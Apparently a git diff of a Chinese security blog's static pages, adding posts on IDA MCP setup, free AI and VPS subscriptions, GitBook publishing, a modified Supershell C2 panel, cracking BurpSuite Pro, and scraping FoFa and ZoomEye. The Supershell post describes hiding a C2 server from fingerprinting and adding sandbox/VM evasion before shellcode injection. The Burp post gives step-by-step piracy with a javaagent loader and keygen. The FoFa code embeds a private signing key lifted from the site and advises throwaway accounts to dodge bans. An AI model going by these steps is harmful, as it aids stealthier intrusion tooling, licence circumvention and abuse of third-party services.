https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev

+

点击install进行安装

+

image-20250917113845728

+

或者打开Vscode的左侧扩展菜单栏,搜索Cline,点击安装Cline。

+

image-20250917123034976

+

然后使用以下命令进行安装ida-pro-mcp

+

python311\Scripts\ida-pro-mcp.exe --install

+

image-20250917114542998

+

安装成功后,点击左侧的Cline菜单栏配置大模型的API。将API Provider选择为DeepSeek,键入DeepSeek API Key值。(你也可以选择其它的API提供商及其API Key)这里我使用的抖音的火山方舟的API引用(前面已经讲过怎么去注册)

+

image-20250917133930243

+

或者使用本地ollam模型

+

image-20250917124817498

+

到IDA中启动MCP-Server(编辑–插件–MCP)

+

IDA-MCP-ida-启动mcp-server

+

image-20250917114852108

+

在Cline的界面上下都可以找到服务器图标,点击添加MCP服务器,添加成功后,就可以启用,开关变“绿色”:

+

image-20250917123458381

+

可以看到成功进行联动

+

image-20250917133840479

+

本文相关的工具下载地址:请关注公众号,关键字回复“20251105”

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html b/en/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html new file mode 100644 index 0000000..7bdaf17 --- /dev/null +++ b/en/docs/个人知识库/公众号文章/Perplexity Pro免费获取一年订阅/index.html @@ -0,0 +1,63 @@ + + + + + +Perplexity Pro免费获取一年订阅 | wjlin0 + + + + + + + +

Perplexity Pro免费获取一年订阅

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-02 05:51:51
+

大家好,我是 小王说安全! +今天给大家带来一个重磅福利:你可以免费获得一年的 Perplexity Pro 订阅服务!价值240 美元(约人民币 1700 元),免费使用Perplexity Pro、GPT-5、Grok 4、Claude Sonnect 4.5 、Gemini 2.5 Pro 等最新大模型。虽然需要满足一些条件才能领取,但几乎所有人都能达成,非常划算。好了,废话不多说,我们现在就开始吧!

+

领取优惠条件​

+

首先我们打开一个活动页面(由于公众号原因,无法直接展示链接。我把放到公众号消息里了,关注公众号小王说安全,回复【Perplexity】即可获得),可以看到仅限PayPal用户(这里说明一下,PayPal 账户是无任何地区限制的,甚至是中国地区)

+

image-20251102045928005

+

当我们继续点开下方的使用条款,可以看到 2025 年 9 月 1 日前,注册PayPal 的用户即可免费直接获取,而未注册的也不用担心,只需注册一个月后就可再次回到这个页面领取了,并且截止时间是 2025 年 12 月 31 日,所以还没有账户的朋友,可以不着急等注册好后Paypal ,一个月后领取。

+

image-20251102050042247

+

由于我直接是领取,无法记录完整的领取过程,可以看到我是直接获得了一年的资格

+

image-20251102050448408

+

取消一年后的自动扣费​

+

为了避免一年后扣你 PayPal 的马内,我们还是需要取消订阅的。这跟国内的自动扣费是一个道理,首先打开perplexity界面,左下角点击头像->账户

+

image-20251102053130311

+

弹出的界面中选择管理订阅

+

image-20251102053054657

+

点击取消订阅即可,放心这里不会取消你现在的 Pro 会员。只是取消自动扣款而已

+

image-20251102053249160

+

Perplexity 可以干啥呢?​

+

Perplexity 是一个“对话式搜索引擎+信息来源引用”的 AI 工具,优势在于实时检索、结果带来源、并以对话形式给出整合性的信息摘要,与纯聊天型 AI相比更适合需要可核验的最新信息与研究资料的场景。说大白话就是,相较于其他 AI,它会结合各类搜索结果进行进行总结输出报告、新闻、信息摘要等。

+

image-20251102051649779

+

那么我们简单来使用一下,我让他使用搜索功能,帮我总结每日一报的信息。首先点击空间->创建新空间

+

image-20251102052110284

+

输入以下提示词

+
角色设定:
你是一名资深新闻编辑与时事分析专家,负责每天为读者提供全球及国内主要新闻事件的精炼总结与趋势洞察。
你的目标是帮助读者在几分钟内了解当天最重要的新闻动态。

🎯 任务目标:

请根据今日的新闻内容(或从指定来源提取的新闻),生成一份每日新闻总结报告,要求如下:

内容结构清晰、有层次,用分段标题呈现。

每条新闻需包含以下要素:

🕓 事件时间与背景

🌍 主要人物 / 机构

📌 核心事件及发展

📊 影响与意义

对所有新闻进行主题归纳与趋势分析(如政治、经济、科技、社会、国际等)。

语气保持中立、专业、简洁,避免主观评论。

在结尾添加一段 「综合分析 / 明日展望」(50–100字)。
+

image-20251102052306129

+

然后在对话框中输入**生成关于 2025 年 10 月 31 日的新闻.**可以看到它结合了很多政府网站的实时报道和各类数据源的搜索结果。

+

image-20251102052545888

+

这是它的搜索结果

+

image-20251102052642142

+

Perplexity Pro 真的值得领取吗?​

+

我的回答是当然的!反正他是免费的不用白不用是吧,何况在他的界面中,你还可以用到 GPT-5、Claude Sonnect 4.5

+

image-20251102053556576

+

总结​

+

那么今天的分享就到这里~ 如果你也想免费领取一年 Perplexity Pro,或者想了解更多AI 工具与安全福利,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技! 回复【Perplexity】,获取领取地址

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/Supershell二开修改/index.html b/en/docs/个人知识库/公众号文章/Supershell二开修改/index.html new file mode 100644 index 0000000..dc884bb --- /dev/null +++ b/en/docs/个人知识库/公众号文章/Supershell二开修改/index.html @@ -0,0 +1,58 @@ + + + + + +Supershell二开修改!自定义路由+防溯源 | wjlin0 + + + + + + + +

Supershell二开修改!自定义路由+防溯源

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-03 15:38:42
+
+

由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

+
+

大家好,我是小王说安全!Supershell 是一个通过WEB服务访问的C2远控平台,通过建立反向SSH隧道,获取完全交互式Shell,支持多平台架构Payload。但由于他的 Web 指纹实在是搜索过于简单,一条fofa 命令即可查出来。导致隐秘性大大降低。今天给大家带来的是Supershell的二次修改版本,在原有基础上,增加了前置防御、和任意修改后端路由、虚拟机检测。本文用到的 Supershell,是我亲自修改,并且完全免费给到大家,工具我已经放在百度网盘,公众号回复【Supershell二开】即可获得下载链接。

+

前置防御​

+

image-20251103145055987

+

可以看到,加入了前置防御后,不会暴露网站的所有的内容,并且与原有的登录账号隔离开来,你不必担心nginx 的账号泄露后,对整个系统的安全受到影响。

+

路由修改​

+

这一部分,我针对登录接口,和后台路径做了限制,当你直接访问你的 Supershell时,你会发现,如果你没有登录,你会跳转到/supershell/login 这个路径,这直接暴露了你后台的地址。其他的人可以直接爆破这个接口,从而控制的 C2 服务器。

+

image-20251103150131160

+

这是修改后的访问,可以很明显的看到,即使没有 前置防御别人也能难猜到你的后台路由。

+

image-20251103145859921

+

我们可以对这个后台路由任意修改,例如我们修改成/aaaaa,并重新启动容器

+

image-20251103150323858

+
docker-compose down && docker-compose up -d
+

重新启动后,我们访问http://172.20.10.13:8888/aaaaa/login,就会弹出登录界面了

+

image-20251103150459347

+

虚拟机检测​

+

在原有的客户端代码中修改了 main 函数的逻辑,在注入 ShellCode前,检测了是否为虚拟机环境(如果你不需要虚拟机检测,只需要注释下面图片中圈起来的代码即可,不需要重启环境)

+

image-20251103150716899

+

可以看到我是用一个虚拟机运行,直接会退出程序

+

image-20251103150802073

+

使用一个真机运行,直接就运行成功了

+

image-20251103150901565

+

并且后台也是能够查询到的

+

image-20251103151145829

+

总结​

+

那么今天的分享就到这里~ 如果你也想获得 Supershell 二次修改后的源码,或者想了解更多AI 工具与安全福利,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技! 回复【Supershell二开】,获取领取地址

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html b/en/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html new file mode 100644 index 0000000..865aa15 --- /dev/null +++ b/en/docs/个人知识库/公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机/index.html @@ -0,0 +1,63 @@ + + + + + +【白嫖】免费领取 Atlantic 一年 | 美国| 加拿大|英国|VPS云主机 | wjlin0 + + + + + + + +

【白嫖】免费领取 Atlantic 一年 | 美国| 加拿大|英国|VPS云主机

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-10 18:33:19
+

大家好,我是 小王说安全! +今天给大家带来一个重磅福利:你可以免费获得一年的 Atlantic VPS 云主机,Atlantic是一家拥有近30年历史的美国云计算和托管提供服务商。在美国旧金山、达拉斯、纽约、奥兰多、阿什本、加拿大多伦多、英国伦敦等地均有数据中心。新用户免费一年(12 个月)VPS 2G RAM、1CPU、50G SSD、3T流量 和 50GB 块存储活动,以及2个月250刀的额度。领取地址在文章结尾,废话不多说我们正式开始

+

领取条件​

+
    +
  • 一张支持外币支付的中国区的信用卡
  • +
+

外币支付信用卡领取教程​

+
+

这部分可选择招商的 Visa 卡 ,这个是必要的,接下来我还会分享其他的白嫖教程,所以需要用到此卡

+
+
https://cc.cmbchina.com/card/
+

image-20251110152241394

+

领取实操​

+

image-20251110162736930

+

登录atlantic的官网注册账户,并验证邮箱

+

image-20251110162625830

+

如实填写地址,和外币信用卡

+

image-20251110162820407

+

image-20251110163049139

+

点击完成后,接下来你注册的账号中会收到一封邮箱,我们点击验证支付方式

+

image-20251110163224527

+

点击后,你的信用卡会收到一笔绑定扣款费用,并填写在该页面中,并根据页面要求,填写对应的代码

+

image-20251110163639675

+

image-20251110163740314

+

稍微等待一会,即可审核通过成功

+

image-20251110163819728

+

image-20251110163926943

+

到此我们的账户注册成功,信用卡会扣除0.89美元的授权费,过几天会退回来,我们等待一会(我大概等了半小时)

+

注意事项​

+

image-20251110151606280

+

后续无需使用印度或你当前选择的地区节点,其他地区的节点均可

+

总结​

+

如果你也想免费领取一年 ChatGPT Go 套餐 ,则需要前置的三个条件,记得关注小王说安全,带你解锁更多隐藏福利,玩转前沿科技!

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html b/en/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html new file mode 100644 index 0000000..9698616 --- /dev/null +++ b/en/docs/个人知识库/公众号文章/最新BurpSuite2025.10专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境/index.html @@ -0,0 +1,69 @@ + + + + + +最新BurpSuite2025.10专业版(更新)下载Windows/Linux/Mac.最新版无需 Java 环境 | wjlin0 + + + + + + + +

最新BurpSuite2025.10专业版(更新)下载Windows/Linux/Mac.最新版无需 Java 环境

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-04 17:57:00
+

大家好,我是小王说安全,今天给大家带来一份面向渗透测试/应用安全工程师的 Burp Suite 2025.10 专业版 安装与插件配置 全流程指南(含 Windows / macOS / Linux),并且后续更新 Burp 只需要下载 双击 Burp 最新安装包,即可更新,无需任何配置。

+

本次分享的 BurpSuite 2025.10 专业版完整资源(含安装程序、教程、插件集)均已打包上传至百度网盘。有需要的朋友,请关注公众号 “小王说安全”,在后台回复关键词 【BurpSuite2025.10】,即可获取下载链接!

+

【温馨提示】 本资源仅供安全研究与学习之用,请勿用于非法用途

+

WINDOWS安装教程​

+

首先我们下载对应系统的安装包,例如我是 windows amd64 架构的系统,我选择下载 burpsuite_pro_windows-x64_v2025_10_1.exe 、 burpsuitloader-4.11.22-all.jar、burpsuite hash.txt

+

计算其 安装包的md5是否与官网提供的md5一致

+

PS C:\Users\Administrator\Downloads> Get-FileHash -Path "burpsuite_pro_windows-x64_v2025_10_1.exe" -Algorithm MD5

Algorithm Hash Path
--------- ---- ----
MD5 646508514E8FBB19224BC7F118840931 C:\Users\Administrator\Downlo...


PS C:\Users\Administrator\Downloads>
+

image-20251104172707465

+

若 md5 值匹配了就选择双击安装包,并选择安装位置。

+

image-20251104173412093

+

安装完成后,将burpsuitloader-4.11.22-all.jar 移动到 Burp 的安装目录

+

image-20251104173548153

+

然后,将下面的文件替换成下方的内容

+
C:\Program Files\BurpSuitePro\BurpSuitePro.vmoptions
+
-XX:MaxRAMPercentage=50
-include-options settings.vmoptions
-include-options user.vmoptions
--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-noverify
-javaagent:burpsuitloader-4.11.22-all.jar=loader,han
+

image-20251104173637566

+

然后找到 burp 安装包安装的 java.exe,它位于目录下的这个文件中,启动注册机

+
& "C:\Program Files\BurpSuitePro\jre\bin\java.exe" -jar .\burpsuitloader-4.11.22-all.jar
+

MACOS 安装教程​

+

首先我们下载对应系统的安装包,例如我是 macos m2 架构的系统,我选择下载 burpsuite_pro_macos_arm64_v2025_10_1.dmg 、 burpsuitloader-4.11.22-all.jar、burpsuite hash.txt

+

计算其 安装包的md5是否与官网提供的md5一致

+
➜ ~ md5sum burpsuite_pro_macos_arm64_v2025_10_1.dmg
4ddf2e8f7ca2c11a3f9dc46e75e594db burpsuite_pro_macos_arm64_v2025_10_1.dmg
+

image-20251104170936843

+

image-20251104171034781若你的安装包的 md5 与官网提供的不一致,那么请不要安装

+

双击安装包,将 Burp Suite Professional.app 移动到 Applications

+

image-20251104171254485

+

然后将burpsuitloader-4.11.22-all.jar 移动到 /Applications/Burp Suite Professional.app/Contents/Resources/app目录下

+
cp burpsuitloader-4.11.22-all.jar '/Applications/Burp Suite Professional.app/Contents/Resources/app'
+

然后,将下面的文件替换成下方的内容

+
/Applications/Burp Suite Professional.app/Contents/vmoptions.txt
+
-XX:MaxRAMPercentage=50
-include-options settings.vmoptions
-include-options user.vmoptions
--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-noverify
-javaagent:burpsuitloader-4.11.22-all.jar=loader,han
+

然后打开注册机,运行一下命令

+
cd "/Applications/Burp Suite Professional.app/Contents/Resources/app" && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" -jar burpsuitloader-4.11.22-all.jar
+

如果出现以下错误

+

197393162-cdd3be46-6e33-42e2-8c62-773a991ba59d

+

运行

+
sudo xattr -r -d com.apple.quarantine /Applications/Burp\ Suite\ Professional.app
+

总结​

+

虽然安装步骤些许繁琐,好在不依赖任何环境,你可以移除任何Java 环境,并且后续更新,双击 Burp 最新安装包,即可更新,无需重复激活。那么回复【BurpSuite2025.10】即可领取上述的所有安装环境教程、以及所用到的 Burp 插件

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/FoFa爬虫/index.html b/en/docs/个人知识库/工具分享/FoFa爬虫/index.html new file mode 100644 index 0000000..f9268ec --- /dev/null +++ b/en/docs/个人知识库/工具分享/FoFa爬虫/index.html @@ -0,0 +1,81 @@ + + + + + +FoFa爬虫 | wjlin0 + + + + + + + +

FoFa爬虫

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:46
+

FoFa爬虫API进一步研究

+

前沿​

+

几年前我在博客上发表一个文章,就是 基于fofa爬虫获取URL(感兴趣可以去回看一下) ,但是那个是基于Selenium,由于这个东西爬起来过慢,而且内存开销很大,还是python实现的,我满脸的嫌弃,为了提升爬取的速度,所以就有了这篇文章的诞生。

+

分析​

+

在上一篇文章中提到,由于匿名用户只能访问前五页~~(现在只能获取前面一页的内容了,真该死)~~的内容,所以无法获取到更多内容,然而由于资源会分布在不同城市,那么可以利用这一特点,只要获取到这个城市列表,利用链接依次爬取就可以了,如下图所示。

+

image-20240318224918094

+

之前是利用的Selenium来获取的页面内容,然而这种速度太慢了,于是我分析了它的JS发现,于是发现了这个接口https://api.fofa.info/v1/search/stats,如下图

+

image-20240318225530820

+

但是你可以发现它的参数进行了校验的。

+

image-20240318225556649

+

当你找寻着个源码,你会发现,这个是rsa的签名认证。而且私钥也是存在的,所以说这里看一下他是如何加密的就可以了。

+

image-20240318230212922

+

我们跟进这个 i.$sortFun函数看一下

+

他是按照顺序排列的这个e ,然后i += "".concat(e).concat(n[e])进行拼接,最后得出结果

+

image-20240318230525478

+

fullfalseqbase64ImJhaWR1LmNvbSI=ts1710774077895

+

这个结果你会发现,ts是当前的时间戳,而这个qbase64就是我们查询的语句,所以说只需要写一下rsa-sha256加密就可以了

+

如下go语言简单实现

+
package main

import (
"crypto"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"github.com/projectdiscovery/retryablehttp-go"
"net/http"
"sort"
"strconv"
"time"
)

const (
private = "-----BEGIN RSA PRIVATE KEY-----\r\nMIIEogIBAAKCAQEAv0xjefuBTF6Ox940ZqLLUFFBDtTcB9dAfDjWgyZ2A55K+VdG\r\nc1L5LqJWuyRkhYGFTlI4K5hRiExvjXuwIEed1norp5cKdeTLJwmvPyFgaEh7Ow19\r\nTu9sTR5hHxThjT8ieArB2kNAdp8Xoo7O8KihmBmtbJ1umRv2XxG+mm2ByPZFlTdW\r\nRFU38oCPkGKlrl/RzOJKRYMv10s1MWBPY6oYkRiOX/EsAUVae6zKRqNR2Q4HzJV8\r\ngOYMPvqkau8hwN8i6r0z0jkDGCRJSW9djWk3Byi3R2oSdZ0IoS+91MFtKvWYdnNH\r\n2Ubhlnu1P+wbeuIFdp2u7ZQOtgPX0mtQ263e5QIDAQABAoIBAD67GwfeTMkxXNr3\r\n5/EcQ1XEP3RQoxLDKHdT4CxDyYFoQCfB0e1xcRs0ywI1be1FyuQjHB5Xpazve8lG\r\nnTwIoB68E2KyqhB9BY14pIosNMQduKNlygi/hKFJbAnYPBqocHIy/NzJHvOHOiXp\r\ndL0AX3VUPkWW3rTAsar9U6aqcFvorMJQ2NPjijcXA0p1MlZAZKODO2wqidfQ487h\r\nxy0ZkriYVi419j83a1cCK0QocXiUUeQM6zRNgQv7LCmrFo2X4JEzlujEveqvsDC4\r\nMBRgkK2lNH+AFuRwOEr4PIlk9rrpHA4O1V13P3hJpH5gxs5oLLM1CWWG9YWLL44G\r\nzD9Tm8ECgYEA8NStMXyAmHLYmd2h0u5jpNGbegf96z9s/RnCVbNHmIqh/pbXizcv\r\nmMeLR7a0BLs9eiCpjNf9hob/JCJTms6SmqJ5NyRMJtZghF6YJuCSO1MTxkI/6RUw\r\nmrygQTiF8RyVUlEoNJyhZCVWqCYjctAisEDaBRnUTpNn0mLvEXgf1pUCgYEAy1kE\r\nd0YqGh/z4c/D09crQMrR/lvTOD+LRMf9lH+SkScT0GzdNIT5yuscRwKsnE6SpC5G\r\nySJFVhCnCBsQqq+ohsrXt8a99G7ePTMSAGK3QtC7QS3liDmvPBk6mJiLrKiRAZos\r\nvgPg7nTP8VuF0ZIKzkdWbGoMyNxVFZXovQ8BYxECgYBvCR9xGX4Qy6KiDlV18wNu\r\nElYkxVqFBBE0AJRg/u+bnQ9jWhi2zxLa1eWZgtss80c876I8lbkGNWedOVZioatm\r\nMFLC4bFalqyZWyO7iP7i60LKvfDJfkOSlDUu3OikahFOiqyG1VBz4+M4U500alIU\r\nAVKD14zTTZMopQSkgUXsoQKBgHd8RgiD3Qde0SJVv97BZzP6OWw5rqI1jHMNBK72\r\nSzwpdxYYcd6DaHfYsNP0+VIbRUVdv9A95/oLbOpxZNi2wNL7a8gb6tAvOT1Cvggl\r\n+UM0fWNuQZpLMvGgbXLu59u7bQFBA5tfkhLr5qgOvFIJe3n8JwcrRXndJc26OXil\r\n0Y3RAoGAJOqYN2CD4vOs6CHdnQvyn7ICc41ila/H49fjsiJ70RUD1aD8nYuosOnj\r\nwbG6+eWekyLZ1RVEw3eRF+aMOEFNaK6xKjXGMhuWj3A9xVw9Fauv8a2KBU42Vmcd\r\nt4HRyaBPCQQsIoErdChZj8g7DdxWheuiKoN4gbfK4W1APCcuhUA=\r\n-----END RSA PRIVATE KEY-----"
appId = "9e9fb94330d97833acfbc041ee1a76793f1bc691"
stats = "https://api.fofa.info/v1/search/stats?qbase64=%s&full=%v&fields=%s&ts=%v&sign=%s&app_id=%s"
URL = "https://fofa.info/result?qbase64=%s&page=%d&page_size=%d"
)

type fofaRequest struct {
Query string `json:"query"`
Page int `json:"page"`
PageNum int `json:"page_num"`
}

var rsaPrivateKey *rsa.PrivateKey

func init() {
rsaPrivateKey, _ = parsePKCS1PemByPrivateKey([]byte(private))
}

type foFaStatsResponse struct {
Code int `json:"code,omitempty"`
Message string `json:"message,omitempty"`
Data interface{} `json:"data,omitempty"`
}

type data struct {
Size int `json:"size"`
Page int `json:"page"`
Countries []country `json:"countries"`
}

type country struct {
Code string `json:"code"`
Name string `json:"name"`
Count int `json:"count"`
Regions []region `json:"regions"`
}
type region struct {
Code string `json:"code"`
Count int `json:"count"`
Name string `json:"name"`
}

func serialize(h map[string]any) string {
var keys []string
for k, _ := range h {
keys = append(keys, k)
}
sort.Strings(keys)
s := ""
for _, k := range keys {
switch h[k].(type) {
case string:
if h[k] == "" {
continue
}
}
s += fmt.Sprintf("%s%v", k, h[k])
}
return s
}

func hashWithSha256(b []byte) (hashed []byte) {
myHash := sha256.New()
myHash.Write(b)
return myHash.Sum(nil)
}
func parsePKCS1PemByPrivateKey(b []byte) (*rsa.PrivateKey, error) {
p, _ := pem.Decode(b)
if p == nil {
return nil, errors.New("pem格式错误")
}
private, err := x509.ParsePKCS1PrivateKey(p.Bytes)
if err != nil {
return nil, err
}
return private, nil
}

func signQuery(str string) (string, error) {
hashed := hashWithSha256([]byte(str))
v15, err := signPKCS1v15(rsaPrivateKey, crypto.SHA256, hashed)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(v15), nil
}
func signPKCS1v15(private *rsa.PrivateKey, hash crypto.Hash, hashed []byte) (sign []byte, err error) {
return rsa.SignPKCS1v15(rand.Reader, private, hash, hashed)
}

func main() {
fofaResponse := &foFaStatsResponse{}
m := make(map[string]interface{})
ts := strconv.FormatInt(time.Now().Unix(), 10)
qbase64 := "baidu.com"
qbase64 = base64.StdEncoding.EncodeToString([]byte(qbase64))
m["qbase64"] = qbase64
m["full"] = false
m["fields"] = ""
m["ts"] = ts
sign, err := signQuery(serialize(m))
if err != nil {
panic(err)
}
STATS := fmt.Sprintf(stats, qbase64, false, "", ts, sign, appId)
request, err := retryablehttp.NewRequest(http.MethodGet, STATS, nil)
if err != nil {
panic(err.Error())
}
request.Header.Set("Referer", "https://fofa.info/")
resp, err := retryablehttp.DefaultHTTPClient.Do(request)
if err != nil {
panic(err.Error())
}
if err := json.NewDecoder(resp.Body).Decode(fofaResponse); err != nil {
panic(err.Error())
}
if fofaResponse.Code == -9 {
panic(fofaResponse)
}
switch fofaResponse.Data.(type) {
case string:
panic(fofaResponse.Message)
default:

if temp, ok := fofaResponse.Data.(map[string]interface{}); !ok {
fmt.Println(fofaResponse.Data)
panic(errors.New("错误的对象"))
} else {
fmt.Println(temp)
}
}

}

+

image-20240318233451482

+

最后简单整合到工具里,就可以一键使用了,目前已经实现了,在我的pathScan或uncover 里面的fofa-spider

+

使用也很简单

+
uncover -fofa-spider domain="baidu.com"
或者
pathScan -uq 'domain="baidu.com"' -ue fofa-spider -silent
+

image-20240319002657624

+

image-20240319003509717

+

当然具体用法可以参考pathScan中的参考命令

+

Cookie的实现​

+

由于不加cookie的每个国家只能访问一页的资源所以就很难受,特地加了环境变量FOFA_COOKIE,来获取身份,所以只需要把登陆后的cookie复制出来,利用环境变量 在运行pathScan或uncover前,就可以每个城市读5页甚至更多,如下代码

+
export FOFA_COOKIE="your cookies" uncover -fofa-spider domain="baidu.com" 
或者
export FOFA_COOKIE="your cookies" pathScan -uq 'domain="baidu.com"' -ue fofa-spider -silent
+

⚠️但要注意的是,加了cookie后 用的次数过多会存在封号的可能,所以每次运行可以通过临时邮箱建立一个账户,再把cookie加进去,就没事了

+

提问​

+

如果对这个爬虫的api调用有问题,欢迎邮件提问 support@wjlin0.com或者support2@wjlin0.com 我会第一时间回复的

+

Zoomeye爬虫的研究

+

前沿​

+

对fofa爬虫实现后,我特地去看了一下zoomeye的,发现他没有这个api的签名校验,并且它的数据获取完全可以通过调用api来实现。

+

如下图所示,这里可以通过调用/api/search来获取结果

+

image-20240319173639944

+

分析​

+

还是与fofa的思想一样 获取城市信息再逐一爬取,并且我发现,zoomeye还精细了省级和市级行政划分。

+

image-20240319173751654

+

这样与fofa相比代码就更加简单了,但是我在爬取的过程中,发现有创宇盾的拦截,会限制请求速率,这没办法了只能控制请求速度了。

+

image-20240319193547615

+

Cookie的实现​

+

与fofa的实现类似,需要登陆后,将cookie设置环境变量

+

⚠️ 这样可能导致封号的处理,请谨慎使用

+
export ZOOMEYE_COOKIE="your cookies" uncover -zoomeye-spider baidu.com
或者
export ZOOMEYE_COOKIE="your cookies" pathScan -ue zoomeye-spider -uq baidu.com -silent
+

工具项目地址

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/GitBook安装/index.html b/en/docs/个人知识库/工具分享/GitBook安装/index.html new file mode 100644 index 0000000..580dad7 --- /dev/null +++ b/en/docs/个人知识库/工具分享/GitBook安装/index.html @@ -0,0 +1,198 @@ + + + + + +安装Gitbook | wjlin0 + + + + + + + +

安装Gitbook

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:07
+
+

注意:用的命令行尽量用powershell 有些命令cmd 用不了

+

比如:mv等 +1

+
+

安装Gitbook所需工具​

+

安装gitbook-cli​

+

用于gitbook 命令行的安装

+
npm install gitbook-cli -g
gitbook --version
+

image-20221129215233580

+

安装gitbook summary​

+

用于自动生成Summary.md,该文件为目录文件

+
npm install -g gitbook-summary
book --version
+

image-20221129220021247

+

创建项目​

+

编写book.json​

+
+

用来导入插件 或指定全局配置,至于每个插件的用法可百度查询或在这个文章中查看。

+
+
{
"title": "Wjlin0 Gitbook",
"author":"Wjlin0",
"description":"记录学习笔记",
"language":"zh-hans",
"root":"./docs",
"links" : {
"sidebar" : {
"博客地址" : "https://wjlin0.com"
}
},

"plugins" : [
"back-to-top-button",
"expandable-chapters",
"github-buttons",
"copy-code-button",
"page-footer-ex",
"anchor-navigation-ex",
"-lunr",
"-search",
"hide-element",
"search-pro",
"donate",
"splitter",
"github",
"-sharing",
"sharing-plus",
"custom-favicon",
"page-treeview",
"flexible-alerts"
],
"pluginsConfig": {
"github": {
"url": "https://github.com/wjlin0"
},
"page-treeview": {
"copyright": "Copyright &#169; wjlin0",
"minHeaderCount": "2",
"minHeaderDeep": "2"
},
"favicon": "./favicon.ico",
"hide-element": {
"elements": [".gitbook-link",".treeview__copyright",".treeview__main-title"
]
},
"github-buttons": {
"buttons": [{
"user": "wangzhebufangqi",
"repo": "ActionTest",
"type": "star",
"size": "small"
}]
},
"page-footer-ex": {
"copyright": "By [Wjlin0](https://wjlin0.com/),使用[知识共享 署名-相同方式共享 4.0协议](https://creativecommons.org/licenses/by-sa/4.0/)发布",
"markdown": true,
"update_label": "更新时间:",
"update_format": "YYYY-MM-DD HH:mm:ss"
},
"donate": {
"wechat": "",
"alipay": "",
"title": "",
"button": "赏",
"alipayText": "支付宝捐赠",
"wechatText": "微信捐赠"
},
"sharing": {
"douban": false,
"facebook": false,
"google": true,
"hatenaBookmark": false,
"instapaper": false,
"line": true,
"linkedin": true,
"messenger": false,
"pocket": false,
"qq": false,
"qzone": true,
"stumbleupon": false,
"twitter": false,
"viber": false,
"vk": false,
"weibo": true,
"whatsapp": false,
"all": [
"douban", "facebook", "google", "hatenaBookmark",
"instapaper", "linkedin","twitter", "weibo",
"messenger","qq", "qzone","viber","vk","weibo",
"pocket", "stumbleupon","whatsapp"
]
}

}
}
+

创建根目录,导入笔记​

+
+

导入自己的笔记

+
+
mkdir docs
notepad.exe .\docs\README.md //图片中打错了
+

image-20221129220950545

+

生成SUMMARY.MD文件​

+
cd docs
book sm
+

image-20221129221123486

+

构建项目静态文件​

+
cd ../
gitbook install
gitbook build
+

构建完成之后,会生成几个目录,_book 为生成的静态资源 node_modules 为 node js的 模块文件

+

image-20221129221603529

+

测试本地环境​

+
gitbook serve
+

image-20221129223221641

+

image-20221129223249357

+

构建github Page​

+
+

免费的存放静态资源文件的。

+
+

构建github项目​

+

构建如图所示仓库,仓库命名格式为xxx.github.io 这个xxx为你的账户名称就是途中左边那个wjlin0(要依据你的名字来哈),我这里构建过了所以 爆红了。

+

image-20221129224035267

+

上传静态文件​

+
cd .\_book\
git init
git add *
git commit -m "New commit"
git branch -M main
git remote add origin https://github.com/wjlin0/wjlin0.github.io.git
git branch --set-upstream-to=origin/main main
git push origin main
+

github page 构建​

+

image-20221129233842493

+

等待完成即可

+

配置自定义域​

+
+

没有域名 或者无需配置自定义域名可忽略这一步

+
+

选择右上角 settings

+

image-20221129234000275

+

选择Pages -> Add a domain

+

image-20221129234013450

+

选择 Add domain

+

image-20221129234122642

+

image-20221129234152977

+

在自己的DNS服务商做DNS TXT 解析 ,做完之后点击 Verify。回到仓库位置,选择 Custom domain,输入你刚刚自定义的域名,再点击保存。

+

image-20221129234338700

+

访问​

+

保存完之后 DNS check successful 通过之后 ,访问域名即可

+
+

https://wjlin0.github.io 或者 https://book.wjlin0.com

+
+

更新文件​

+

导出 git​

+

更新之前将之前 .git 导入出来

+
mv ./_book/.git ./
+

更新目录​

+
cd docs && book sm && cd ../
+

构建静态文件​

+
gitbook install # 若修改了book.json,则需要重新下载
gitbook build
mv .git ./_book/
+

提交更新后的代码​

+
### powershell的用法
cd ./_book
git pull
